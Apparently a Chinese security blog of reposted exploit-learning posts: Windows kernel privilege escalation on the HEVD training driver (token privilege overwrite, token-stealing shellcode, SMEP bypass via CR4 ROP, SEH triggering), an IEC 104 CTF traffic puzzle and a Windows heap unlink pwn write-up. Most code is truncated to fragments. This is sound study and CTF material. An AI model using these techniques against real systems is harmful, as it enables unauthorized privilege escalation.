这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。具体的exp可以参考上一篇博客,这里给出一个大概的例子:
1 | // New Method |
这个方法其实之前也用过,就是比较简单的替换到EPROCESS中的这个地方:
1 | 0: kd> dt nt!_EPROCESS |
不过修改这个地方的话,之前的做法比较无脑,一般就是:
这个做法其实有点问题。我们看到token这个玩意儿的结构体:
1 | typedef struct _EX_FAST_REF |
可以看到,它虽然是一个指针,但是低3bit是用来表示当前对象的引用次数的。换句话说,如果我们真的拷贝了某一个token的话,其实还需要将当前token 的refCnt
数量给修改了,不然当被我们拷贝的那个进程结束的时候,token本身也就会被销毁,从而导致BSoD。不过,我们可以看到之前提到的那个_OBJECT_HEADER
,当我们修改这个结构体中的PointerCount
的时候,系统就会认为当前对象的引用计数+1,从而放指bsod。
1 | 1: kd> dt _Object_header 8bfd1888 |
参考的文章中提供了一种比较常见的利用思路
NtOpenThreadToken()
,然后调用MsiInstallProduct()
API(需要中级的权限)来截获SystemTokenTOKEN-0x18
(也就是PointerCount)数量+1,之后再修改当前进程token为这个token调试是帮助理解的一个重要的过程。这里记录一些有用的能够帮助分析的一些调试技巧
调试内核的时候,首先最想要知道的就是进程相关的信息,使用
1 | kd>!process 0 0 |
来枚举当前内核中所有的进程,或者使用
1 | kd>!process 0 0 ImageName |
来指定加载了ImageName
的进程。(不过和上面那个指令执行的速度基本一样快)
执行之后,就会打印如下的内容:
1 | 1: kd> !process 0 0 Exploit.exe |
这里稍微解释一下其中几个常见值的意义:
PROCESS
后面指出的就是当前进程的EPROCESS
的地址SessionId
表示的是当前枚举进程所属的会话Cid
表示CLIENT_ID
,这里本质上就是PIDPEB
表示当前PEB的地址。。。ParentCid
表示父进程PID其他值暂时还没搞懂是啥意思
直接上网查的话,很容易查到说kernel层切换进程的指令为:
1 | kd>.process /r /p EPROCESS |
然而这个指令本质上只是表示将当前进程中的所有的分页表映射对应的物理地址中,这个操作其实对于live debug帮助实际上并没有那么大,只能说对于full dump之类的场合,能够更加方便的分析进程信息。如果在live debug中,可以使用
1 | kd>.process /i EPROCESS |
使用完之后,windbg会提示使用g
指令运行一阵子,当再次发生中断的时候,此时整个windbg就会切换到我们指定的进程空间中。这个时候使用形如!token
之类的指令,就能够直接查询指定进程的基本信息了。
Windows中万物皆object,所以基本上可以认为每一个你能看到的结构中,都会有一个object header,而且大小似乎是固定的0x18
(x86)
1 | typedef struct _OBJECT_HEADER |
所以如果需要看这个对象的一些会记录在object_header
中的基本属性的时候,可以直接:
1 | 0: kd> dt _object_header a4401ca8-0x18 |
http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a
本篇转自安全客 https://www.anquanke.com/post/id/213428
任意地址写,在用户态中也是一种常见的漏洞,其形式通常存在一个可以被控制的指针,以及在之后的逻辑中,会发生一次对指针内容的修改:
1 | int vulnerable_function(int addr_user_input, int content_user_input){ |
这种漏洞在用户态有一些很容易能够想到的利用方法,比如修改内存中一些固定模块的函数指针,然后调用对应函数,从而跳转到指定的控制流上。在内核中的利用思路也是类似,不过会多一些防护,之后会慢慢道来。
用IDA可以很容易的看到问题所在:
1 | int __stdcall ArbitraryOverwriteIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2) |
这个UserAddr
是一个由用户态定义的结构体:
1 | struct UserAddr |
这个就是一个典型的write-what-where
的漏洞
在内核态,遇到这种漏洞的时候,第一个想到的应该就是需要往哪儿写。一个常见的套路的是nt!haldispatchTable
,这个地址是一个ntokrnl.exe
中的一个用来存放函数指针的全局对象,修改这个table
中一个很少被调用的APINtQueryIntervalProfile对应的位置nt!haldispatchTable+4
(64bit 为 nt!haldispatchTable+8
),此时就相当于是劫持了NtQueryIntervalProfile的调用。
第一个直观的想法就是将用户态的shellcode地址写上去。然后就可以依照第一篇中写的EXP,修改一下放到这边去。但是这样的话,就有了第一章的CR4
的问题。
之前的做法需要用到ROP
,我虽然找到了wjllz
大师傅的博客,但是这个方法在我的测试环境上(1903)似乎不能正常work。于是我直接找到了他本人去问。大师傅人很好,给了我很多方向,然后我找到了一篇blackhat上的文章,里面提到了一种方法:
这个方法的原理是说,在形如NtGdiDdDDICreateAllocation
,或者大佬博客里提到的NtGdiDdDDIGetContextSchedulingPriority
这类和GDI相关的API调用的处理驱动中,有一片未初始化的可写可执行区域:
上图中的win32k!NtGdiDdDDIGetContextSchedulingPriority
,这个地方就是驱动所在的导出表的位置
1 | win32k!NtGdiDdDDIGetContextSchedulingPriority: |
然而我们顺着找这个win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
的地址,可以找到如下内容:
1 | 1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority |
这个9090f62f
正好指向一个实现在dxgkrnl.sys
的对应函数:
1 | 1: kd> u 9090f62f |
于是一个新的想法就产生了:能不能将这个win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
指向的地址给修改成我们shellcode的地址呢?
1 | 1: kd> dps win32kbase!gDxgkInterface |
令人头痛的是,这个dxgkrnl
中记录的这API,与文章中提到的API完全不一样,逆向后发现,好像有一段判断逻辑发生了偏移:
于是现在有了两个继续研究的方向
不过,说起来初始化的类型不同的话,应该会导致依赖中断号的上层调用的时候出现问题呀,不知道windows是怎么解决的问题。
不过,后来我仔细思考了一下这个利用方法,总结其他其目的应该是:
dxgkrnl!DxgkGetContextSchedulingPriority
的地址,这样就能够劫持NtGdiDdDDIGetContextSchedulingPriority
ExAllocatePoolWithTag
,然后通过调用NtGdiDdDDIGetContextSchedulingPriority
去调用ExAllocatePoolWithTag
,分配一个RWX
的空间dxgkrnl!DxgkGetContextSchedulingPriority
为ExAllocatePoolWithTag
的地址,然后跳转到shellcode既然是这个思路的话,那么为什么不使用最初提到的HalDispathTable?不过后来我试了一下发现返回值怪怪的,查看了ReactOS
中的源码找到了原因:
1 | NTSTATUS |
原来这个位置只能接受一个传参啊。。。。
后来绕回这个dxgkrnl
的逻辑,发现依然无法修改函数地址,我搜了非常多的资料,终于在这个网站上找到了答案:
https://www.unknowncheats.me/forum/2567493-post86.html
这里提到了一个很重要的事情:windows 1903
中,大部分的函数已经不使用win32kbase作为proxy,而是直接由dxgkrnl.sys导出函数来调用。
之前我试了很多次修改这个gDxgkInterface
但是都不能work,原来是因为很多函数的逻辑里面根本就没有经过win32kbase!gDxgkInterface。。。。。。于是之前提到的所有利用手段都被堵上了。
在此期间一直在想,Linux的kernel pwn也是要找类似的跳板吗?看了一下相关ctf的writeup,发现大家其实都是再改cred
这个结构体,这个结构体相当于是Linux中的一个权限管理结构体,所以通过修改这个结构体,就能够实现某个进程的提权。那Windows中就没有类似的结构体了吗?随着工作的进行,我发现Windows中的TOKEN
这个结构体好像起到的作用就和这个cred
类似,也是类似Windows下的权限控制(具体可以看这里Windows Via C/C++ note 4),那是不是改这个地方就可以了呢?
后来,又是wjllz大佬抬了一手,给了一篇文章:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/,这个文章里面提到了一个2012年就被提出来的,window kernel pwn应该做什么的文章http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf,完美解释了我心中的疑惑。wjllz大佬给的文章都很有价值,大力吹一波~这些内容之后应该会趁机研究一下记录。不过这边我们先顺着这个WP中的思路走,解决一下我们当前的问题。
一个进程中的TOKEN
结构体如下:
1 | typedef struct _TOKEN |
据说这个结构体从Win7
开始就没有太多的变动了,这里我们关注一下这几个结构体成员变量:
1 | SEP_TOKEN_PRIVILEGES Privileges; // 0x40 |
这个结构体变量用bit位的方式记录了当前token中使用的privilege(特权)。我们都知道,token能够限制一个进程能能够对其他进程的权限控制,但是有时候我们也会需要有类似windbg之类的进程对其他各类进程进行调试,这个时候系统就会赋予调试器这个调试其他进程的特权。这个概念非常重要,我们通过给与当前进程特权,就能够往其他更高权限才能够接触到的进程中进行代码注入等,从而实现进程劫持等等,完成提权。
我们首先检查一下当前进程使用的token
是怎么样的
1 | : kd> !token |
从上可以看到,我们当前进程的权限有一个SeDebugPrivilege
,这个特权的意思是Required to debug and adjust the memory of a process owned by another account.
,也就是说能够调试并且调整由其他账号拥有的进程中的内存。这个权限其实蛮高的(做这个实验的时候,我正在用windbg调试,所以权限才会这么高)。不过我们希望能够做到的是往其他进程中注入线程,那么这个时候我们需要的可能就不止这个权限了,一个比较无脑的方式就是能不能将这些特权全部拿到手,就能够保证我们必定提权成功了。
于是我们稍微改动一下我们的利用code:
1 | DWORD GetKernelPointer(HANDLE handle, DWORD type) |
然后试了一下。。。终于成功了!!!!
由于EXP是从别的地方抄过来的,有些地方其实有点云里雾里的,这里简单分析一下:
1 | DWORD GetKernelPointer(HANDLE handle, DWORD type) |
首先是这个函数,这是关键函数之一,正是用的这个函数我们找到了TOKEN的地址,不过话又说回来,这个函数做了些什么呢?函数首先尝试去call了NtSystemQueryInformation
:
1 | NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); |
这个API其实功能非常强大,能够返回大量系统中的重要信息。这里当我们传入的变量为StstemHandleInformation
的时候,返回的变量为SYSTEM_HANDLE_INFORMATION
,具体定义如下:
1 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO |
这个地方用了一个无限制数组的技巧:这个Handles[1]
其实长度可以超过1,但是这样写的话能够让编译器知道这是一段数组,从而可以无限加长这个结构体的长度,不过用sizeof查看的时候,这个Handles是当作一个数组指针大小在考虑
通过调用这个函数,能够拿到当前进程中所有打开的句柄。于是我们通过检查句柄类型,找到当前进程中使用的TOKEN的句柄。不过具体这个ObjectTypeNumber
具体是几表示什么意思,好像网上的资料并不多。。。不过我通过processexp
配合函数,大概总结出几个来:
1 | 3 --> Directory |
于是这里通过给GetKernelPointer
传入0x5,获取到这个TOKEN
对象的真正的地址。于是之后我们就能够拿到_TOKEN
结构体中偏移地址为0x40
的结构体_SEP_TOKEN_PRIVILEGES
:
1 | nt!_SEP_TOKEN_PRIVILEGES |
此时Present
表示的是这个token中被开启的特权,而Enabled
中表示的是当前token中被允许的特权。在之前提到的这篇文章中,作者发现,其实Windows并不会check一个token的Present
值,而是checkEnabled
这个位置上的值有没有被打开,来证明其权限是否打开了。所以这里我们就能够简单的利用这一点,将这个变量修改为-1,从而让当前的token获得最高的权限。
win32k.sys
的时候,正常看起来是这样的1 | win32k!NtGdiDdDDIGetContextSchedulingPriority: |
这段内容中,我想要查看win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
指向的内容,检查过去发现地址是这样的
1 | 1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority |
这个9090f62f
就是要跳转的内容,但是我想查看的时候看到的内容是这样的
1 | 1: kd> dd 9090f62f |
就很奇怪。。。后来我问了wjllz大佬,他说可能是地址空间的问题,然后给了一篇博客,里面提到了一个指令
1 | !process 0 0 csrss.exe |
然而我这么做之后,发现地址空间依然没有被映射,后来找到另一个暴力的指令:
1 | .pagein /f addr |
这个指令会强迫映射地址空间,这次成功的找到了地址内容:
1 | 1: kd> u 9090f62f |
NtGdiDdDDIGetContextSchedulingPriority
,因为自己并没有去深究这个win32u.dll
是什么。第二天和同事一起看的时候意外发现,无论怎么调用这里面的API,调用都会失败。使用windbg去调试之后发现,居然是在ntdll!KiUserCallbackDispatcher
调用失败了:1 | .text:6A291428 pop edx |
经过我们查看,这段逻辑是这样的:
1 | NtCurrentPeb()->KernelCallbackTable[Index] |
这就很奇怪了,进程的KernelCallbackTable
居然是空的。那什么时候会填充呢?查来查去发现,原来是user32.dll中会初始化的东西,用来处理一些Ring0的系统调用。而我之前就真的很巧,没有把user32.dll包含在进程中。。。。。所以为了做戏做全套,这边只需要调用
1 | LoadLibrary(L"gdi32.dll") |
即可将user32.dll
也导入。(gdi32.dll的初始化是在user32.dll中完成的)
1 | 94193a54 907f2022 dxgkrnl!DxgkEnumAdapters2Impl |
不过非常遗憾。。这个问题再Win1903上无法解决。。。我找到了一个大佬云集的论坛里面提到了这个问题:
https://www.unknowncheats.me/forum/anti-cheat-bypass/335585-communicating-mapped-driver-using-hooks-5.html
这个地方的人提到了,win1903里面这个gDxgkInterface
接口不再导出函数了,而是直接在dxgkrnl.sys
导出表里面导出,这样的话这段地址就受到了PG的保护,不能再被拿来利用了。。
1 |
|
后来发现人家的shellcode是x64平台上的,我这个是x86,所以换了一个shellcode就好了。。
]]>这一篇和上一篇的技巧几乎一致,所以就咕咕咕不写EXP了(主要还是因为懒),不过可以介绍一下和内核相关的SEH
利用技巧:
记得之前曾经写过一篇和SEH相关的文章:WindowsSEH
当时虽然写了一大串的利用方法,但是没写到关键上。形如如下的代码:
1 | __try { |
实际上是不会打印Now we get exception....
这句话的。因为当Cookie被修改的时候,代码会陷入上文提到的int 29中断,这个中断会让程序直接终止,而不是去调用异常处理链。(可以这么理解:检查cookie这个过程实际上是发生在函数调用结束的时候,此时代码并没有被try...except
包含,也就不会触发异常链。)如果想要实现劫持SEH链的目的,那么需要做到的其实是
在try…except包含的代码块中间直接抛出错误
在这类代码中可以通过写入大量数据做到:
1 | __try{ |
刚刚不是说了不能通过修改cookie触发SEH吗?
对的,这里并不是修改cookie,而实直接写爆栈:
user-mode 下,正确的触发SEH的姿势就是在gets的过程中,访问了不可访问的地址,从而抛出access deny的错误
此时,就能够通过修改SEH handler
的方法来劫持程序流
然而在内核模式下,如果存在一个栈溢出的漏洞,却不能像用户空间那样玩。因为在内核中,如果访问了内核空间中不可访问的地址,那么会直接触发BSoD,并不会进入异常处理的逻辑中。那么这个时候要如何触发SEH呢?
对于这类特定的状况下,有一种处理方法:
1 | NTSTATUS StackOverflowGSIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) { |
如上,我们会发现,有漏洞的函数TriggerStackOverflowGS 所拷贝的UserBuffer
实际上是来自于IrpSp->Parameters.DeviceIoControl.Type3InputBuffer
。这个Type3InputBuffer
实际上 是一个从用户态传来的指针。这个是由IRP
控制的缓冲区,所以说不会触发SAMP
。那么此时相当于说指针本身也是由我们控制的。
可以人为的创造出用户空间的访问异常,从而抛出异常。
此时可以利用CreateFileMapping
和MapViewOfFile
。这两个API会向进程申请一段地址空间(保留一个地址空间的区域用来存放内存映射文件),并且将这段文件映射到地址空间上。这个过程其实和系统调用VirualAlloc
类似,唯一不同的就是这个分配的过程我们是全程可控。那么在获取了映射的地址之后,我们可以修改本来指向分配在用户地址空间开头的指针,让其指向映射地址的结尾。这样在内核在调用RtlCopyMemory
的时候,就能控制其访问到不可访问的地址,触发SEH
1 | // Create the shared memory |
触发SEH之后,就和普通的Buffer Overflow
一样操作即可。
本篇转自安全客 https://www.anquanke.com/post/id/218682
栈溢出是一个最基本的漏洞利用方式,这里我们利用这个作为入门学习,了解一下在 Windows Kernel 下执行栈溢出的不同之处。
找到之前准备好的HackSysExtremeVulnerableDriver.sys
,里面有一个准备好的带有栈溢出的函数,叫做StackOverflowIoctlHandler
。我们通过逆向,找到对应触发函数的IOCTL
:
记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:
1 | int __stdcall StackOverflowIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2) |
这里注意一下,这类IOCTL Handle Routine
的传入参数类型是固定的,一定是第一个为PRIR
,第二个为PIO_STACK_LOCATION
,如果没有识别出参数的话,可以直接指定参数类型
此时发现,这个a2
好像识别的有一点问题,从函数名也能猜到,程序逻辑本身应该是一个读取Buffer
的逻辑,不应该和SetFile
这类文件操作相关,所以这里推测,应该是PIO_STACK_LOCATION
结构体中存在union
结构,所以此时识别的结构体出现了错误。这个时候回退到Disassembly
的界面,然后在参数的位置处右键,选择Structure Offset
,就能够修改当前结构体识别的类型。
这里我们修改成和DeviceIoControl
相关的DeviceIoControl.Type3InputBuffer
,下面的参数也修改成DeviceIoControl.InputBufferLength
,整个逻辑就变成了
1 | int __stdcall StackOverflowIoctlHandler(PIRP a1, _IO_STACK_LOCATION *a2) |
此时逻辑就清晰了很多:读取IO_STACK_LOCATION
指针指向的Buffer内容,并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:
1 | int __stdcall TriggerStackOverflow(void *Address, size_t MaxCount) |
简单介绍一下内核函数ProbeForRead
:
1 | void ProbeForRead( |
函数能够检查当前的地址是否属于用户态(访问地址是否越界),并且检查当前的地址是否是按照第三个参数要求的 Alignment 进行对齐。然后就会将当前传入的Buffer
按照Buffer本身的MaxCount
拷贝到栈上,从而造成栈溢出。
整个逻辑是分析清楚了:只要使用DeviceIoControl
从用户端这边发送请求,并且使用的是Buffer
,而且大小超过了0x81c
,就会发生栈溢出,造成返回值被劫持。
单纯劫持返回值还不够,因为内核态并没有类似于system
这类方便的劫持函数。在内核态实现劫持,根据平台的不同,会使用的不同的劫持方式
在Win7阶段,内核态并没有做过多的限制,所以可以在内核态执行用户态的程序。那么如果劫持了返回值,那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下:
首先在Windows操作系统中,所有的东西都被视为对象,每一个对象都有一个安全描述符(security descriptors)(长得有点像(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)
这样的)其在内存中存储的形式通常为一个token。它会描述当前进程的所有者,以及其的相关权限,包括对文件的操作等等。这里最高的权限就是NT AUTHORITY\SYSTEM
,系统权限拥有对所有文件的任意权力(相当于是su)。所以一般的提权思路就是:
能够找到的payload如下
1 | pushad ; Save registers state |
内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的,也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击,以及最近比较流行的使用powershell进行的攻击(这一类似乎被称之为fileless attack)
首先要能够实现最基本的通信,使用C(Cpp)的话,需要直接调用Windows系列的API对文件进行操作,如下:
1 |
|
由于Win7上暂时没有太多的防护,所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding,然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情:以前我们都是直接弹出一个cmd结束攻击,然而提权攻击却不能只弹出一个cmd就完成攻击,这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后,我们需要有一个防止系统发现栈被破坏的操作。为了实现这一点,我们需要先观察一下栈中的内容:
1 | eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580 |
在距离返回值地址的0x18的位置上,正好有上一个函数的返回地址,所以当我们劫持了这个函数返回值的时候,在shellcode的末尾,我们可以加上一些额外的指令来实现恢复栈
1 | xor eax, eax ;伪装返回值 |
这里我们参考HEVD给出的参考答案:
1 |
|
然而,如果用上述exp的话,似乎并没有那么顺利。我们调试可以看到如下结果:
1 | HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8: |
乍一看好像是成功的,但是如果让程序继续执行的话就会爆出如下的错误:
1 | 1: kd> t |
这个错误码的意思是ATTEMPTED EXECUTE ON NOEXECUTE MEMORY
,因为从Win 8.1 开始,Windows 就有了一种新的保护措施,叫做Supervisor Mode Execution Prevention(SMEP)
。在这个保护下,不能在ring 0 的环境中执行 ring 3的代码。到了这个时候,就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用ROP攻击,修改cr4
寄存器内容。一个常见的函数就是:
1 | .text:00401000 |
利用这个ROP,让RCX赋值为CR4。不过这里注意一点,由于这里使用的,此时如果使用IDA观察的话,需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:
1 | .text:00401000 ; Section 1. (virtual address 00001000) |
每个段开头都会有一个virtual address
,这个值表示的是当前段会映射的地址,具体计算方式为real_address = image_base_address + virtual_address
。也就是说此时的.text
段在内存中的真正的地址为:real_text = image_base_address + 0x1000
然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:
1 | For analysis of this file, run !analyze -v |
上网查找可知,第20bit为1表示的是SMEP打开(记得从低位往高位数,并且第一位数字是第0bit,第二位数字是第1bit),那么我们只需要将这一bit置0,即可以将这种防护关闭,此时也就是将值改成0x0406e9
。
有了ROP,那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式,一个叫做:EnumDrivers
的API,另一种是利用NtQueryInformationSystem
的方式获取。前者是官方给出的API,通过调用直接获取地址,而后者是则是通过逆向分析+动态调试,验证可知当前的地址空间上存放的是ntoskrl.exe
的基地址。
前者直接就是一个API:
1 | BOOL EnumDeviceDrivers( |
并且据观察,返回的地址数组中lpImageBase
,第一个就是ntoskrl.exe
的基地址。不过使用这个方法的时候,需要用到管理员权限。
这里打算用第一种方法实现地址泄露,第二种攻击方法参考(https://www.anquanke.com/post/id/173144)[https://www.anquanke.com/post/id/173144],贴出用NtQueryInformationSystem
的exp:
1 | typedef enum _SYSTEM_INFORMATION_CLASS { |
回到正文,此时代码修改如下:
1 | VOID TokenStealingPayloadWin7() { |
不过这里由于引入了ROP,这里需要重新讨论一下栈的地址。
此时->
指向的是之后会修改成的内容。由于加入了ROP,导致原先利用的返回值会被覆盖掉,所以这里需要重新调整返回值,让esp在调用exp的地址后,加上0x1c,让其跳转到nt!IofCallDriver
的返回值,从而恢复调用栈。
本质上差不多,不过这边使用的是Powershell下的编程:
1 | Add-Type -TypeDefinition @" |
不知道为啥,提权有时候会失败,不过失败了似乎也没有进入蓝屏的样子…
使用powershell进行攻击的结果如下
题目只给了一个流量包,打开之后里面基本上都看不懂。。。不过发现里面有一个协议的名字很扎眼,叫做IEC 60870-5 104
:
这是个啥玩意儿???不过misc向来都是学习新的协议的,于是一通搜索,搜出来写奇奇怪怪的文章,不过好像都提到说,这个协议是一个用于电力行业采用的应用通信协议。那只能假设出题人真的再考我们这个的知识点了,于是找了几个文档:
比较宽泛的文档
讲的比较细致
这里有格式图
从那篇格式图的博客中,我们能知道,这种协议被称为APDU(Application Protocol Data Unit 应用程序信息单元),结构如下:
可以看到它的魔数为0x68。看到我们的流量包,好像还真的出现过这个数字:
那看来考点没找错,就是考我们这个协议的事情
由于是为了做题目,所以是飞快的过了一遍这个协议的内容。
大致看了一下,协议分成三种类型的
假设有A,B两个站使用这个协议进行通信,双方在通信过程中,内部都会维持三个计数器,分别是
用一个实例来说明一下:
假设A向B发送了一个I类型的数据包,那么发送包的当下,因为是第一个发送的包,所有的值都为初始值,所以A中的三个计数器为
所以整个发送过程就类似
1 | A B |
其中,I中记录的内容为I(V(S), V®),具体的格式后面会提到
那假设A又往B发送了一个I类型的数据包,那么当发送的时候,A中的V(S)已经记录过第一次发送的数据了。状态变成了
那么发送过程会变成
1 | A B |
假设之后B要回复一个数据包,那么我们来看一下当前B中的数据包的形式:
于是就变成了
1 | A B |
再之后,A要回复B一个数据包,此时A中的状态为
那么发送的时候数据包中内容就为:
1 | A B |
这个协议APDU是由两部分组成的:
前面这个APCI其实就是相当于一些常见通信协议中的协议头,用来记录一些基本信息的:
如上,我们结合一下我们实际的数据包一起看:
然后的这个Control Field控制域,会因为数据包种类不同而不同:
然后回到我们前面的示例中,我们看的是一个I种类的数据包
我们可以看一下别的数据类型的包:
43中的低量比特表示当前包类型为U,而高6bit表示当前控制为TESTER act。这个数据包之后需要跟随一个TESTER con的U类型包作为回应,用来确保当前传输的稳定性
之后的数据表示的是ASDU,也就是数据信息,我猜测可以将这里理解成,从这里开始表示的是传输的内容:
大致学习了一下整个协议,发现这个协议本质上是一个信息传输协议。我猜测这个协议应该是用来传输一些非常底层的数据的,所以很可能每次tcp都只会传输一个bit的信息,而选择对象的下表,应该就是当前对象的地址。那么我们就只需要将这个传输过程中提到的对象地址取出来,将其设为1,其余比特设为0,那就能得到整个传输的数据了!
1 | content = ['0']*100 |
这次比赛除了这个题目其实还有一些比较标准的CTF题,有空的话再整理到博客上吧。
]]>这个题目牵扯到Windows下的堆的基本运行状态,不熟悉的可以先看上篇介绍Windows heap的文章熟悉一下~
某种意义上来说是传统的不能再传统的堆利用,不过是Windows平台下的。首先看到有四个基本功能:
1 | hHeap = HeapCreate(1u, 0x2000u, 0x2000u); |
常见的全局堆对象,和常见分配删除显示修改。首先我们看到一个用来存放我们分配内存的结构体:
1 | struct MyHeapEntry{ |
这里居然存放了一个函数指针,基本上就是一个巨大的伏笔,之后肯定是需要将这个地方的函数指针给修改了的。
1 | puts_ptr("size >"); |
这里跳过部分堆块检测。这里首先会将我们输入的大小size>>4
,然后放在我们之前提到的MyHeapEntry.puts_ptr
的最低字节处。猜测这边是为了减小堆所占有的空间,所以只放了四个字节。但是!这里粗心的申请了右移后的大小,也就是说实际上content的大小会远远小于我们申请的大小。
1 | puts_ptr("index >"); |
经典UAF,删除之后啥都不做,基本上leak的点就找到了。先delete这个chunk,然后直接打印即可泄露。
1 | puts_ptr("index >"); |
没有check,直接call之前存放在堆上的函数指针,而且正好还会传一个参数进去。。。。看起来只要能够有一个任意地址修改就能够做到利用了
1 | puts_ptr("index >"); |
这里就能发现之前申请内存的那个问题暴露。首先可以注意到,size的大小正如之前猜测的那样,是存放在最低字节的数字*16,而我们申请的内存大小仅仅为最低字节的数字那么小,所以这边肯定会发生堆溢出。
经典的题目,经典的思路。pwn题两大思路:
这边为了方便描述,我们将MyHeapEntry_0
中存放的每一个元素称为block
首先简单科普一哈,Windows下的ASLR和Linux有点点不一样。Windows的ASLR是当image被加载到进程中的时候,整个Image都是ASLR的,包含代码段。而Linux还要开启PIE
才会让代码段也随机化。
在Windows下可以使用指令:
1 | dumpbin /headers EasyWinHeap.exe |
检查当前exe开启了哪些保护。这个dumpbin是VS提供的一个tool,基本上装了vs的都会附带这个exe,使用vs的那个Native Tools Command Prompt
的话即可直接敲指令使用了。找打这个exe的Optional header values
1 | OPTIONAL HEADER VALUES |
箭头指向的地方即表示打开了ASLR。
本来很容易能看出UAF+堆溢出=unlink
,但是我们却找不到MyHeapEntry_0
这个变量的地址,只好先尝试leak。好在UAF之后没有任何check就能够打印,因此可以将堆的地址leak出来。然后,一个非常重要的特点(比赛的时候居然没发现!),这里的MyHeapEntry_0
的值也是在堆上的!所以换句话说,其实这里不需要知道MyHeapEntry_0
这个变量的具体地址,而是这个数组指向的地址,也就是一个堆上的地址。我们稍微分析一下堆此时的情况可以有如下的图:
1 | +-------------+-------------+ +-------------+-------------+ |
此时的内存中每一个内存块的相对偏移都是一样的。也就是说,我们只要能够泄露一块地址,我们此时就能够利用相对偏移的方式,找到当前存放的func_ptr/content_ptr
的block。这边稍微写一个poc试一下:
1 | def pwn(): |
上述代码构造了一个如下的堆:
通过打印,我们就能够将bk的内容打印出来。并且如上图,这些内存的相对位置都是固定的,于是我们就能将当前的MyHeapEntry数组的地址泄露出来。
1 | # table base address |
当获得了block[1]
的地址之后,我们此时就有了一个unlink的机会。这边记得,Windows下的unlink是不计算heap头的,所以写出来的利用code就是如下的形式:
1 | # unlink this block |
trigger漏洞之后,我们就能够得到:
1 | block[1].ptr-> &block[1].ptr |
此时我们只要尝试修改block[1]
的content,就能够直接修改ptr的值,甚至block[2]/block[3]...
的func和ptr,也就是一个任意地址写。同时,当call show的时候,会调用
1 | func(ptr[1]) |
此处相当于是任意地址读。那我们接下来要做的事情就和Linux下的pwn有点像:找到system函数,然后call起来~。回忆一下,Linux下我们会尝试寻找一个函数(通常就是puts)的got表,然后将其plt的值打印出来,再和主办方提供的libc.so.6
的puts地址对比找到其加载的地址。而Windows下其实也是一样的,只不过Windows下的叫做导入表IAT (import address table)
,比方说这个puts函数:
1 | // .code |
可以看到,其本身和Linux也很像,也是当call puts函数的时候,直接跳转到一个表上,这个表中会填入puts在当前进程中真正的函数地址。而puts在的dll名字叫做ucrtbase.dll
,其中正好存放了system
这个函数。那利用起来就和Linux很像了。不过由于ASLR对整个image都生效了,首先我们要试着泄露image。幸好puts的地址被存放在了堆上,而且之前我们让block[1]
指向了ptr, 我们这边将image的地址泄露出来:
1 | # now the block[1] point to &block[1] |
泄露出了此时内存中image的puts的地址,然后通过当前image的相对偏移量,就能够将整个image的地址泄露出来。
之后我们计算出此时puts在IAT中的地址,然后写入block[1].ptr
,之后再次泄露:
1 | send_content = p32(puts_iat+base_image) |
此时我们就能够将ucrtbase.dll
给泄露出来了!
现在完事具备,我们只剩下将函数指针修改一下,然后call show 就能够完成pwn了!不过此时稍微注意一下,我们之前已经将block[1].ptr
修改成了puts的IAT地址,此时如果调用edit,只会尝试修改puts IAT地方的内容,这个显然不是我们希望的,毕竟我们需要一个可以控制的指针。不过还记得刚刚提到的,我们的任意地址写能够直接修改ptr的值,甚至block[2]/block[3]...
的func和ptr。所以我们只需要在泄露image的那次,提前将block[2]或者block[3]的ptr地址布置成我们想要的形式,就能够继续实现任意地址写!
经过测试,我们发现修改直接修改block[2]
的指针,使其指向block[1]-0x4,那么此时即使我们使用完block[1]
之后,仍然拥有第二个任意地址写的指针。
这次我们直接将block[1]-0x4
的位置开始的值写入cmd.exe\0
,然后正好可以把属于block[2]
的位置的函数修改成我们的目标函数指针。这边附上代码说明更加简单
1 | """ |
运行之后就能够拿到shell啦!
1 | content > |
这段时间因为工作上的一些事情,过的浑浑噩噩的。甚至于对技术都没能像过去那样充满专注,导致一个简单的heap pwn 的writeup居然也写了两周,这个真的是不应该。不过这个比赛也让我发现CTF确实是第一生产力(大雾),看了两周没看懂的winheap,一个比赛就懂了,确实还是有帮助。而且Windows下的堆和Linux下的区别似乎不少,这次比赛也只是浅浅的了解了一些,以后有机会的话还是得深入理解一下Rtl系列中和heap相关的部分。
]]>堆的种类
_PEB
中crt_heap
中win10之后堆分为两种:Segment heap
和NT heap
。当一个进程分配堆的时候,大部分场合默认使用的堆都是后面那种,前面的segment heap
